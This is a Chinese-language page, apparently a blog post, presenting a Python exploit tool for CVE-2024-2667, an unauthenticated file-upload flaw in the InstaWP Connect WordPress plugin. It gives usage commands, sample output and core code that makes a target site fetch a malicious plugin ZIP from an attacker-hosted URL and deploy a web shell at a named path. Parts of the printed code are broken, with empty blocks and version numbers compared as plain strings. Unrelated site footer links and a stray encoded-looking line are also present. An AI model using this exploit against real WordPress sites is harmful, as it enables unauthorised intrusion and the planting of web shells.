InstaWP Connect 漏洞利用工具 (CVE-2024-2667)

InstaWP Connect 漏洞利用工具 (CVE-2024-2667)

项目描述

本项目是一个针对 WordPress 插件 InstaWP Connect -- 1-click WP Staging & Migration 的安全检测与利用工具。该插件在 0.1.0.22 及之前的所有版本中,由于 /wp-json/instawp-connect/v1/config REST API 端点缺乏足够的文件验证,存在未经身份验证的任意文件上传漏洞(CVE-2024-2667)。本工具能够自动检测目标站点是否运行受影响版本,并可利用该漏洞上传恶意插件 ZIP 包,最终实现 Web Shell 部署。

功能特性

  • 漏洞判定:基于检测到的版本号(≤ 0.1.0.22)自动判定目标是否易受攻击。
  • 任意文件上传:通过构造特制的 API 请求,向目标站点上传任意 ZIP 格式的恶意插件包。
  • Web Shell 部署 :成功上传后,攻击者可通过 wp-content/plugins/instawp-connect/shell.php 路径访问上传的 Web Shell。
  • 命令行友好:支持通过简洁的命令行参数指定目标 URL 和恶意插件 URL,便于集成到自动化测试流程。

安装指南

系统要求

  • Python 3.6 或更高版本
  • 网络连接(用于向目标站点发起 HTTP 请求)

依赖安装

使用 pip 安装所需的 Python 库:

bash 复制代码
pip install requests

注意:本工具仅依赖 requests 库进行 HTTP 通信,beautifulsoup4 为可选依赖(当前版本未使用)。

获取工具

将脚本保存为 CVE-2024-2667.py 或直接使用提供的 Python 文件。

使用说明

基础用法

bash 复制代码
python CVE-2024-2667.py -up <恶意插件ZIP的URL> -u <目标WordPress站点URL>

参数说明

参数 长参数 说明 示例
-up --url_plugin 恶意插件 ZIP 文件的公开 URL http://attacker.com/malicious.zip
-u --url_target 目标 WordPress 站点的根 URL http://victim.com/

典型使用场景

场景一:仅检测漏洞

如果只想检测目标站点是否运行易受攻击的插件版本,可以提供一个占位符作为 -up 参数:

bash 复制代码
python CVE-2024-2667.py -up http://example.com/dummy.zip -u http://victim.com/

工具会输出检测到的版本及漏洞判定结果,但不会实际触发文件上传(因为提供的 ZIP URL 可能无效)。

场景二:完整漏洞利用

准备一个包含 Web Shell(如 shell.php)的恶意插件 ZIP 文件,并将其托管在可公开访问的 HTTP 服务器上。然后执行:

bash 复制代码
python CVE-2024-2667.py -up http://attacker-server.com/malicious-plugin.zip -u http://victim.com/

成功上传后,Web Shell 将位于:

perl 复制代码
http://victim.com/wp-content/plugins/instawp-connect/shell.php

输出示例

csharp 复制代码
Plugin URL: http://attacker-server.com/malicious-plugin.zip
Target URL: http://victim.com/
Detected version: 0.1.0.20
The site is vulnerable.
Response:
{'status': 'success', 'message': 'Plugin uploaded successfully.'}

帮助信息

查看完整命令行帮助:

bash 复制代码
python CVE-2024-2667.py -h

核心代码

版本检测模块

python 复制代码
def check_version(url):

    try:


        if response.status_code == 200:
            content = response.text
            if "Stable tag:" in content:
                for line in content.splitlines():
                    if "Stable tag:" in line:
                        version = line.split(":")[1].strip()
                        print(f"Detected version: {version}")
                        if version <= "0.1.0.22":
                            print("The site is vulnerable.")
                        else:
                            print("The site is not vulnerable.")
                        return

        else:

    except requests.exceptions.RequestException as e:
        print(f"An error occurred while checking the version: {e}")

漏洞利用核心请求

python 复制代码
def main():
    # ... 参数解析与 URL 验证 ...
    
    # 构造恶意上传请求的数据包
    data = {
        "api_key": "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
        "override_plugin_zip": url_plugin   # 指向攻击者托管的恶意 ZIP 文件
    }

    # 目标 REST API 端点
    url = f"{url_target}?rest_route=/instawp-connect/v1/config"

    try:
        response = requests.post(url, data=data, timeout=10)

        if response.status_code == 200:
            try:
                print("Response:")
                print(response.json())  # 输出服务器返回的 JSON 信息
            except ValueError as e:
                print("Error parsing JSON:", e)
        else:
            print(f"Request failed with status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"An error occurred while sending the request: {e}")

URL 辅助函数

python 复制代码
def validate_url(url):
    """确保 URL 包含 http:// 或 https:// 协议前缀。"""
    parsed_url = urlparse(url)
    if not parsed_url.scheme:
        url = f"http://{url}"
    return url

6HFtX5dABrKlqXeO5PUv/+dNRetSg48tSBICWHeZmzP3IPmAOyG3N67+bXXU/OoS

相关推荐
2601_954434553 小时前
2026年电钢琴品牌专业深度测评:排名前五权威榜单发布
大数据·人工智能·python
V搜xhliang02463 小时前
AI大模型辅助临床医学科研应用、论文写作、数据分析与AI绘图学习
人工智能·学习·数据分析
Legend NO243 小时前
从模糊需求到高保真原型,用 TRAE 实现全流程自动化
人工智能
Andrew-Feng3 小时前
AI时代的规范驱动开发——OpenSpec
人工智能·驱动开发
陈广亮3 小时前
用 Claude Code CLI 构建类OpenClaw 多 Agent 自动化系统
人工智能
森诺Alyson3 小时前
前沿技术借鉴研讨-2026.4.9(视觉语言模型)
论文阅读·人工智能·经验分享·语言模型·自然语言处理·论文笔记·论文讨论
TG_yunshuguoji3 小时前
腾讯云代理商:利用腾讯云智能体开发平台实现接入 OpenClaw
人工智能·云计算·腾讯云·智能体·openclaw
财经资讯数据_灵砚智能3 小时前
基于全球经济类多源新闻的NLP情感分析与数据可视化(夜间-次晨)2026年4月8日
大数据·人工智能·信息可视化·自然语言处理·ai编程
天青色等烟雨..3 小时前
基于 Claude Code 与 Codex 双 AI 协同的论文写作与质量校准研究 —— 从数据分析、初稿撰写到交叉审稿全流程
人工智能